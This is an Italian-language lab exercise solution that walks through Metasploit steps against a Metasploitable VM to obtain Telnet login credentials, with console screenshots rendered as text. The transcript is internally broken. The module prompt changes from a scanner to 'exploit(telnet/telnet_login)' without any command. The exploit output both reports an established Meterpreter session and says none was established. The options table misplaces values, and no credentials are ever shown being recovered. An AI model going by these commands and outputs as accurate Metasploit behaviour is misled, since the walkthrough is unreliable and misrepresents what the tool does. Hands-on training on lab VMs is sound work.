

# Exploit Telnet con Metasploit

## SOLUZIONE – CONSEGNA 1

Seguire gli step visti in teoria per sfruttare la vulnerabilità Telnet presente sulla Metasploitable, come di seguito. Avviare «msfconsole»

```
File Actions Edit View Help
--(kali@kali)--(--)
--$ msfconsole

Metasploit Park, System Security Interface
Version 4.0.0, Alpha 5
Ready ...

> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED...and ...

198 0100 1 547 782 802C 808D
198 0100 1 547 782 802E 808D
198 0100 1 547 782 802F 808D
198 0100 1 547 782 8030 808D
198 0100 1 547 782 8031 808D
198 0100 1 547 782 8032 808D
198 0100 1 547 782 8033 808D
198 0100 1 547 782 8034 808D
198 0100 1 547 782 8035 808D
198 0100 1 547 782 8036 808D

--[ metasploit v6.1.27-dev
-- --[ 2196 exploits - 1162 auxiliary - 490 post
-- --[ 596 payloads - 45 encoders - 18 nops
-- --[ 9 evasion

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x

msf6 > |
```

Settare il modulo auxiliary scanner/telnet/telnet\_version con il comando «use» come da figura sotto

```
Gather Remote Saved Password Extraction

Interact with a module by name or index. For example info 42, use 42 or

msf6 >
msf6 >
msf6 >
msf6 >
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > |
```

Utilizzare il parametro «show options» per controllare i parametri da configurare per l'exploit in base alle vostre configurazioni di rete come da requisiti.

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

  Name      Current Setting  Required  Description
  ---      -
  PASSWORD  no               no        The password for the specified username
  RHOSTS    yes              yes        The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     23               yes        The target port (TCP)
  THREADS   1                yes        The number of concurrent threads (max one per host)
  TIMEOUT   30               yes        Timeout for the Telnet probe
  USERNAME  no               no        The username to authenticate as

msf6 auxiliary(scanner/telnet/telnet_version) > 
```

Utilizzare la keyword «exploit» per avviare l'attacco, e recuperare le credenziali di accesso al servizio telnet.

```
msf6 exploit(telnet/telnet_login) > exploit

[*] Exploiting 1 host(s)
[*] 1 host(s) exploited
[*] Meterpreter session(s) established: 1
[*] Meterpreter session(s) closed: 0
[*] Exploit completed, but no session was established

msf6 exploit(telnet/telnet_login) > 
```

Verificare la correttezza delle credenziali provando l'accesso al servizio telnet con il comando telnet seguito dall'ip della macchina.

```
metasploitable

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: 
```